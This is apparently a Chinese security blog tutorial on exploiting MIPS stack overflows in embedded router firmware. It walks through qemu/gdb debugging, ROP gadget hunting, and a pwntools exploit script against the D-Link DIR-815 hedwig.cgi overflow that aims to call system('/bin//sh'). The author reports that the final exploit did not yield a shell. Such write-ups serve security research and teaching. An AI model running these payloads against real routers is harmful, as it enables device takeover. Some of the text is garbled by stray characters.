路由器漏洞利用
0x0 背景知識(shí)
1.MIPS指令集合
MIPS 指令集主要使用在一些嵌入式的 IOT 設(shè)備中筷厘,比如路由器吞滞,攝像頭砍聊。要對(duì)這些設(shè)備進(jìn)行二進(jìn)制的漏洞挖掘就需要有對(duì) MIPS 有一定的熟悉唧龄。MIPS 指令集的棧溢出與 x86 指令集的有所不同局冰,所以漏洞的利用方式也不太相同吊洼,但是溢出的思路是一樣的:覆蓋返回地址训貌、劫持程序控制流、構(gòu)造 ROP chain 冒窍、寫 shellcode 等等递沪。本文介紹一下最基本的 MIPS 指令集下的棧溢出的利用方法。
2.x86 和 MIPS 指令集的差異
1.MIPS 指令系統(tǒng)大量使用寄存器超燃,包括返回地址也是存放在 ra 寄存器中
2.沒有堆棧直接操作的指令区拳,也就是沒有 push 和 pop 指令
3.所有指令都是 32 位編碼,也就是說所有的數(shù)據(jù)和指令都是 4 字節(jié)對(duì)齊意乓。
由于 MIPS 固定指令長度樱调,所以造成其編譯后的二進(jìn)制文件和內(nèi)存占用空間比 x86 的要大
MIPS 指令集使用 uclibc C 標(biāo)準(zhǔn)庫,x86 使用 libc 的 C 標(biāo)準(zhǔn)庫
基本的指令用法和兩者的差異可以參考這里:
https://blog.csdn.net/gujing001/article/details/8476685
3.MIPS 的動(dòng)態(tài)調(diào)試
在 qemu 上開啟一個(gè)調(diào)試端口(-g 指定端口號(hào))届良,在 IDA 上使用 Remote GDB debugger笆凌,填上端口號(hào)和主機(jī)名即可
./qemu-mipsel -g 23946 xxxx
具體的步驟可以看這里
http://www.reibang.com/p/9841b412af37
- 也可以使用 gdb 進(jìn)行調(diào)試,但是 gdb 需要使用專門支持 mips 指令集的 gdb 版本
4. 葉子函數(shù)和非葉子函數(shù)
? 葉子函數(shù)和非葉子函數(shù)是兩個(gè)非常重要的概念士葫,兩者的一些特性照成了對(duì)棧溢出利用方式的差異乞而。在某個(gè)函數(shù)中,如果這個(gè)函數(shù)不調(diào)用其他函數(shù)慢显,那么就這個(gè)稱為葉子函數(shù)爪模。反則這個(gè)函數(shù)就是非葉子函數(shù)欠啤。葉子函數(shù)的返回地址是直接在ra寄存器中,而非葉子函數(shù)的返回地址會(huì)先保存在棧上屋灌。
- 非葉子函數(shù)洁段,有 sw $ra,xxx 的操作,在函數(shù)退出時(shí)共郭,會(huì)將存放在棧上的原來存放 ra 寄存器的值重新賦值到 ra 寄存器中祠丝。
- 葉子函數(shù),沒有 sw $ra,xxx 的操作除嘹。
5. 尋找ROP鏈
在 IDA 中尋找并構(gòu)造 ROP chain 是使用 mipsrop.py 這個(gè)腳本來輔助 查找的(本來只支持IDA 6.8版本写半,大佬已經(jīng)更新到了ida7.0的api,我在mac上的ida 7.0親測(cè)用尉咕。使用方法是直接吧py文件復(fù)制到plugins文件夾下即可):
https://github.com/devttys0/ida/tree/master/plugins/mipsrop
- 這里也可以直接使用做pwn題目經(jīng)常使用的ROPgadget
使用:
mipsrop.stackfinder() 尋找棧數(shù)據(jù)可控的 rop叠蝇,建立和 a0、a1 寄存器的關(guān)系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 尋找命令執(zhí)行的的rop
mipsrop.find(xxx) 查找 find 函數(shù)參數(shù)的 rop龙考,類似正則匹配
0x1 例子分析
1. 源碼
? 這里選擇下面一個(gè)書中的例子說明下mips架構(gòu)下rop的使用:
- 很明顯漏洞在main函數(shù)中蟆肆,是一個(gè)棧溢出
- 需要控制do_system_0函數(shù)的第二個(gè)參數(shù)cmd矾睦,也就是要控制a1寄存器
- main函數(shù)是非葉子函數(shù)晦款,因此其返回地址存儲(chǔ)在棧上,因此可以溢出覆蓋返回地址枚冗,劫持控制流/
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system_0(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
使用 mipsrop.stackfinder() 命令來找找看
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00417990 | addiu $a3,$sp,0x18 | jr 0x24($sp) |
| 0x00417FF0 | addiu $a2,$sp,0x18 | jr 0x24($sp) |
| 0x004185F4 | addiu $a2,$sp,0x18 | jr 0x24($sp) |
----------------------------------------------------------------------------------------------------------------
Found 3 matching gadgets
- 結(jié)果找到一個(gè)將棧上的數(shù)據(jù)保存到a1中的gadget缓溅,以及一個(gè)控制流跳轉(zhuǎn)指令
2. exp分析
python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
- 'a' * 0x108 在 main 函數(shù)的棧空間填充到返回地址
- 'x00x40x1Dx40' ROP chain 的地址
- 'b' * 24 填充為 do_system_0 的第一個(gè)參數(shù)
- x2fx62x69x6e'+'x2fx73x68x00' /bin/sh 字符串
- 'c'*0x34 填充
- 'x00x40x03x90' 填充返回地址赁温,調(diào)用 do_system_0 函數(shù)
https://www.anquanke.com/post/id/169689
將這個(gè)程序運(yùn)行起來坛怪,會(huì)讀取 passwd 中的內(nèi)容填充到程序的棧空間中股囊,這樣就可以得到 shell
0x3 利用練習(xí)
gdb+qumu調(diào)試
? 在《揭秘家用路由0day漏洞挖掘》一書中使用的調(diào)試方式是使用ida pro袜匿,遠(yuǎn)程attach到qemu自帶的gdbserver中實(shí)現(xiàn)調(diào)試,這里給出使用gdb+qumu的調(diào)試方法
- 啟動(dòng)路由器固件的運(yùn)行腳本如下所示稚疹,這里使用了書中第一個(gè)棧溢出的例子居灯。
#!/bin/sh
#sudo ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x600"`
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
cp $(which qemu-mipsel) ./qemu
echo "$INPUT" | sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE="$TEST" -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
echo "run ok"
rm -f ./qemu
-
這里有幾點(diǎn)需要注意一下:
運(yùn)行的時(shí)候由于ubutu默認(rèn)的shell解釋器是dash,但是書中給出的腳本的語法是bash的内狗,因此運(yùn)行的時(shí)候制定使用bash作為解釋器運(yùn)行
使用qemu -g的選項(xiàng)是指定gdb server的端口
啟動(dòng)gdb進(jìn)行鏈接:
? 由于ubuntu自帶的gdb只支持x86和x64架構(gòu)的怪嫌,因此需要下載支持mips架構(gòu)調(diào)試的gdb,這里可以直接使用如下命令進(jìn)行安裝:
$ sudo apt-get install gdb-multiarch
? 下載安裝完成后運(yùn)行, 使用 target remote localhost:1234
指定遠(yuǎn)程調(diào)試的ip和端口:
$ gdb-multiarch ./hedwig.cgi
(gdb) set arch mips
The target architecture is assumed to be mips
(gdb) set endian little
The target is assumed to be little endian
(gdb) target remote localhost:1234
Remote debugging using localhost:1234
這里有一個(gè)問題就是我在鏈接qemu的gdbserver的時(shí)候柳沙,報(bào)錯(cuò)Remote ‘g’ packet reply is too long
岩灭,網(wǎng)上查了相關(guān)資料說是因?yàn)?qemu 修改了部分gdbserver的源碼,返回的信息長度不一致赂鲤,需要做如下修改并重新編譯噪径,具體可以參考鏈接 https://blog.csdn.net/u013592097/article/details/70549657 柱恤,但是我按照說明重新編譯了下,但是安裝失敗了找爱,而且再次打開 gdb-multiarch 注意到提示This GDB was configured as "x86_64-linux-gnu".
猜測(cè)應(yīng)該不是上述問題膨更。補(bǔ)充: 出現(xiàn)上述的原因是因?yàn)間db-multiarch的版本依然是只支持x86_64架構(gòu)的版本,因此還是需要安裝對(duì)應(yīng)版本的gdb進(jìn)行調(diào)試缴允。
-
經(jīng)過測(cè)試發(fā)現(xiàn)荚守,如果要進(jìn)行遠(yuǎn)程調(diào)試的話,需要使用 qemu-mipsel-static练般,參考鏈接為 https://xz.aliyun.com/t/3826
apt-get install qemu binfmt-support qemu-user-static
-
但是會(huì)出現(xiàn)下面的錯(cuò)誤:
# bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"` qemu: /build/qemu-vx6Pwx/qemu-2.11+dfsg/accel/tcg/translate-all.c:2114: page_check_range: Assertion `start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)' failed. qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x60166552 run ok
原因是使用的插件在和遠(yuǎn)程gdbserver交互的過程中出錯(cuò)了矗漾,這里我嘗試了 gef、pwndbg 薄料、gef三個(gè)插件都不行敞贡,只能直接使用gdb命令。(或許還是因?yàn)間dbserver和gdb版本對(duì)應(yīng)不上摄职。誊役。。谷市。i_i), 艱難的使用了一下原版gdb蛔垢,放棄。迫悠。鹏漆。。
(gdb) frame 0
#0 0x00409680 in hedwigcgi_main ()
(gdb) info frame
Stack level 0, frame at 0x7fffed30:
pc = 0x409680 in hedwigcgi_main; saved pc = 0x7f78ff00
called by frame at 0x7fffede0
Arglist at 0x7fffed30, args:
Locals at 0x7fffed30, Previous frame's sp is 0x7fffed30
Saved registers:
s0 at 0x7fffed08, s1 at 0x7fffed0c, s2 at 0x7fffed10, s3 at 0x7fffed14, s4 at 0x7fffed18, s5 at 0x7fffed1c, s6 at 0x7fffed20,
s7 at 0x7fffed24, gp at 0x7fffe858, s8 at 0x7fffed28, ra at 0x7fffed2c, pc at 0x7fffed2c
(gdb)
D-LINK 815 路由器調(diào)試
使用本節(jié)中給出的腳本创泄,運(yùn)行后使用ida附加調(diào)試艺玲,在409680處設(shè)置斷點(diǎn),運(yùn)行后單步調(diào)試鞠抑,觀察寄存器的變化饭聚,當(dāng)程序運(yùn)行到 0x0409A54 的位置后,觀察到其中所存儲(chǔ)的數(shù)據(jù)均變成了AAAAAA字符串搁拙,可見確實(shí)存在溢出秒梳。
-
計(jì)算棧溢出位置到棧上存儲(chǔ)的ra位置偏移:
ra 位置7FFFE93C A起始位置 7FFFE537 偏移為0x405(pid=1234的時(shí)候) 7FFFE4F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7FFFE500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7FFFE510 00 00 00 00 00 00 00 00 2F 72 75 6E 74 69 6D 65 ......../runtime 7FFFE520 2F 73 65 73 73 69 6F 6E 2F 31 32 33 34 26 70 61 /session/1234&pa 7FFFE530 73 73 77 6F 72 64 3D 41 41 41 41 41 41 41 41 41 ssword=AAAAAAAAA 7FFFE540 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 7FFFE550 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 7FFFE560 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 7FFFE514 00000000 MEMORY:dword_0 7FFFE518 6E75722F MEMORY:6E75722F 7FFFE51C 656D6974 MEMORY:656D6974 7FFFE520 7365732F MEMORY:7365732F 7FFFE524 6E6F6973 MEMORY:6E6F6973 7FFFE528 3332312F MEMORY:3332312F 7FFFE52C 61702634 MEMORY:61702634 7FFFE530 6F777373 MEMORY:6F777373 7FFFE534 413D6472 MEMORY:413D6472 7FFFE538 41414141 MEMORY:41414141 7FFFE53C 41414141 MEMORY:41414141 7FFFE540 41414141 MEMORY:41414141
根據(jù)函數(shù)的執(zhí)行流程,會(huì)去嘗試打開 /var/tmp/temp.xml 感混,但是提取出來的固件文件系統(tǒng)中沒有這個(gè)文件端幼,由于手頭并沒有實(shí)際路由器,這里利用過程按照模擬環(huán)境處理弧满。
棧溢出利用
- 利用的思路和x86架構(gòu)下類似婆跑,主要分為以下幾個(gè)步驟:
尋找棧偏移,劫持程序控制流域庭呜。
執(zhí)行 system(“/bin/shx00”)滑进,這里的參數(shù)可以使用 mipsrop.stackfinder() 的 gadget 來把 “/bin/shx00” 傳到棧上犀忱。之后將這個(gè)棧的位置傳入 a0 寄存器,這樣就達(dá)到了利用的目的扶关。
- 這里有幾點(diǎn)需要注意下:
- system 函數(shù)的位置阴汇,在 0x00053200 處,顯然地址的最低位是壞字節(jié)节槐,沒辦法直接傳入
- 根據(jù)《揭秘家用路由器0day漏洞挖掘技術(shù)》書中的方法先將 system 函數(shù)的地址 -1 傳入某個(gè)寄存器中搀庶,之后找到對(duì)這個(gè)寄存器進(jìn)行加 +1 的操作的 gadget 進(jìn)行調(diào)用即可將地址恢復(fù)到 0x53200。
- ROP鏈如下:
- 將s0寄存器的位置寫為 system_addr - 1
- 將s0寄存器+1
- 尋找棧操作的相關(guān)gadget(mov a0铜异,stack_addr) stack_addr 儲(chǔ)存了執(zhí)行shell命令的字符串
- call system
根據(jù)以上思路:
首先根據(jù)上述計(jì)算出的偏移0x405哥倔,進(jìn)行驗(yàn)證,使用如下命令啟動(dòng)腳本:
-
bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"`
可以得到如下結(jié)果揍庄,已經(jīng)能夠成功控制程序的控制流:
7FFFED10 41414141 MEMORY:41414141 7FFFED14 41414141 MEMORY:41414141 7FFFED18 41414141 MEMORY:41414141 7FFFED1C 41414141 MEMORY:41414141 7FFFED20 41414141 MEMORY:41414141 7FFFED24 41414141 MEMORY:41414141 7FFFED28 41414141 MEMORY:41414141 7FFFED2C 42424242 MEMORY:42424242 7FFFED30 736F702F MEMORY:736F702F 7FFFED34 6C6D7874 MEMORY:6C6D7874 7FFFED38 7F7E9300 MEMORY:7F7E9300
-
尋找 s0 + 1的gadget咆蒿,這里在用7.0版本的ida的mipsrop插件的時(shí)候報(bào)錯(cuò)了,嘗試修復(fù)失敗蚂子,根據(jù)書中地址沃测,手動(dòng)找到了一個(gè)地址為0x000158D0的gadget:
.text:000158C8 .text:000158C8 loc_158C8: # CODE XREF: sub_157DC+B0↑j .text:000158C8 move $t9, $s5 .text:000158CC jalr $t9 .text:000158D0 addiu $s0, 1 ///////// .text:000158D4 sb $s7, 0($v0) .text:000158D8 lw $a1, 0($s2) .text:000158DC addiu $a0, $v0, 1 .text:000158E0 move $t9, $s5 .text:000158E4 jalr $t9 ///////// 相當(dāng)于jalr,$s5 .text:000158E8 move $a2, $s4 .text:000158EC lw $gp, 0x40+var_30($sp) .text:000158F0 la $t9, free .text:000158F4 jalr $t9 ; free .text:000158F8 lw $a0, 0($s2) .text:000158FC lw $gp, 0x40+var_30($sp) .text:00015900 sw $s1, 0($s2)
-
接下來尋找傳遞參數(shù)的的gadget,這里選用0x159CC處的gadget:
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 | .text:000159CC addiu $s5, $sp, 0x170+var_160 .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy .text:000159E0 move $a0, $s5 .text:000159E4 lw $gp, 0x170+var_160($fp) .text:000159E8 move $a0, $v0
? 也就是先吧 sp+10處的值傳遞到 s5寄存器食茎,最后將 s5 寄存器中當(dāng)作參數(shù)傳遞給 a0蒂破,這里執(zhí)行的是
jalr $t9 ;
因此,我們只需要提前把 s0 設(shè)置為system函數(shù)的地址董瞻,最后實(shí)際上執(zhí)行的就是 system函數(shù)寞蚌。
常見 mips 反匯編跳轉(zhuǎn)指令
li $a0,1 | li田巴,即加載立即數(shù)到寄存器中 |
---|---|
jr和jal | jr 跳轉(zhuǎn)到寄存器钠糊。jal會(huì)把下一條指令存儲(chǔ)在ra寄存器中 |
? jal、jalr:這兩條指令分別實(shí)現(xiàn)了直接和間接子程序調(diào)用壹哺。在跳轉(zhuǎn)到指定地址實(shí)現(xiàn)子程序調(diào)用的同時(shí)抄伍,需要將返回地址(當(dāng)前指令地址+8)保存到 ra($31)寄存器中。為什么是當(dāng)前指令地址加8呢管宵?這是因?yàn)榫o隨跳轉(zhuǎn)指令之后有一條立即執(zhí)行的延遲槽指令(例如nop占位指令)截珍,加8剛好是延遲槽后面的那條有效指令。從子程序返回是通過寄存器跳轉(zhuǎn)完成箩朴,通常調(diào)用 jr ra岗喉。
尋找動(dòng)態(tài)鏈接庫的實(shí)際地址
? 由于我這里gdb的插件不能用,嘗試手動(dòng)cat相關(guān)地址:
nevv@ubuntu:~/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo cat /proc/9425/maps
[sudo] password for nevv:
60000000-602ee000 r-xp 00000000 08:01 806503 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
604ee000-6054a000 rw-p 002ee000 08:01 806503 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
6054a000-60561000 rw-p 00000000 00:00 0
60561000-6255f000 rwxp 00000000 00:00 0
6255f000-62560000 ---p 00000000 00:00 0
62560000-6257d000 rw-p 00000000 00:00 0
63099000-63100000 rw-p 00000000 00:00 0 [heap]
7f09345e1000-7f09349e1000 ---p 00000000 00:00 0
7f09349e1000-7f09349fd000 r-xp 00000000 08:01 840193 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f09349fd000-7f0934a0d000 ---p 00000000 00:00 0
7f0934a0d000-7f0934a0e000 rw-p 0001c000 08:01 840193 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f0934a0e000-7f0934a11000 rw-p 00000000 00:00 0
7f0934a11000-7f09b3d19000 ---p 00000000 00:00 0
7f09b3d19000-7f09b3d77000 r-xp 00000000 08:01 840894 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d77000-7f09b3d86000 ---p 00000000 00:00 0
7f09b3d86000-7f09b3d87000 r--p 0005d000 08:01 840894 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d87000-7f09b3d88000 rw-p 0005e000 08:01 840894 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d88000-7f09b3d8d000 rw-p 00000000 00:00 0
7f09b3d8d000-7f09b3d8e000 ---p 00000000 00:00 0
7f09b3d8e000-7f09b3db7000 r-xp 00000000 08:01 840874 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3db7000-7f09b3dc7000 ---p 00000000 00:00 0
7f09b3dc7000-7f09b3dc8000 rw-p 00029000 08:01 840874 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3dc8000-7f09b3dc9000 ---p 00000000 00:00 0
7f09b3dc9000-7f09b3dca000 rw-p 00000000 00:00 0
7f09b3dca000-7f09b3dcf000 r-xp 00000000 08:01 840866 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3dcf000-7f09b3dde000 ---p 00000000 00:00 0
7f09b3dde000-7f09b3ddf000 r--p 00004000 08:01 840866 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3ddf000-7f09b3de0000 rw-p 00005000 08:01 840866 /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3de0000-7f09b3de1000 ---p 00000000 00:00 0
7f09b3de1000-7f09b4662000 rw-p 00000000 00:00 0
7f09b4662000-7f09b4663000 ---p 00000000 00:00 0
7f09b4663000-7f09b4e63000 rw-p 00000000 00:00 0
7ffda09b3000-7ffda09d5000 rw-p 00000000 00:00 0 [stack]
7ffda09e8000-7ffda09eb000 r--p 00000000 00:00 0 [vvar]
7ffda09eb000-7ffda09ed000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
? 但是由于程序是qemu仿真執(zhí)行的炸庞,因此cat出來的地址并不是程序的真實(shí)地址钱床,只能想一想曲線救國的辦法,使用殘缺功能的gdb:
(gdb) p system
$6 = {<text variable, no debug info>} 0x7f78b200 <system>
? 而 system 函數(shù)在動(dòng)態(tài)鏈接庫中的偏移是 0x53200 埠居,因此可以計(jì)算出libc的實(shí)際地址是 0x7f738000查牌,并且每次運(yùn)行時(shí)地址均不變事期,原因是什么安全檢查都沒開(—_—):
$ checksec cgibin
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
exp
from pwn import *
context.endian="little"
context.arch="mips"
base_addr = 0x7f738000
system_addr_1 = 0x53200-1
rop1 = 0x000158c8 # addiu $s0 ,1 | jalr $s5 ->save_to ret address
rop2 = 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 | save_to_s5
padding = 'uid=1234&password=' + 'a' * (0x405-9*4)
padding += p32(base_addr + system_addr_1) # s0
padding += 'a' * 4 # s1
padding += 'a' * 4 # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += p32(base_addr+rop2) # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fp
padding += p32(base_addr + rop1) # ra
#------------------------- stack 2 ---------------------------
padding += 'b' * 0x10
padding += '/bin//sh'
with open("call_system_padding",'wb') as f:
f.write(padding)
f.close()
? 我在本地執(zhí)行的過程中,確并沒有g(shù)et到shell纸颜,gdb調(diào)試:
當(dāng)執(zhí)行到0x7f74d9dc:
0x7f74d9cc: addiu s5,sp,16
0x7f74d9d0: move a1,s3
0x7f74d9d4: move a2,s1
0x7f74d9d8: move t9,s0
0x7f74d9dc: jalr t9
0x7f74d9e0: move a0,s5
可以看到:
(gdb) p $t9
$9 = 2138616320
(gdb) p system
$10 = {<text variable, no debug info>} 0x7f78b200 <system>
(gdb)
>>> hex(2138616320)
'0x7f78b200'
確實(shí)調(diào)用了system函數(shù)兽泣,但是參數(shù)似乎有點(diǎn)問題:
(gdb) x /s $s5
0x7fffed10: "/bin//sh/postxml"
直接在system函數(shù)位置下斷點(diǎn):
Breakpoint 4, 0x7f74d9dc in ?? () from ./lib/libc.so.0
(gdb) c
Continuing.
Breakpoint 5, 0x7f78b200 in system () from ./lib/libc.so.0
(gdb) x /s $a0
0x7fffed00: "/bin/sh/postxml"
? 嘗試了幾種方法進(jìn)行截?cái)喽疾恍小胁孙;蛟S是姿勢(shì)不對(duì)唠倦?0.0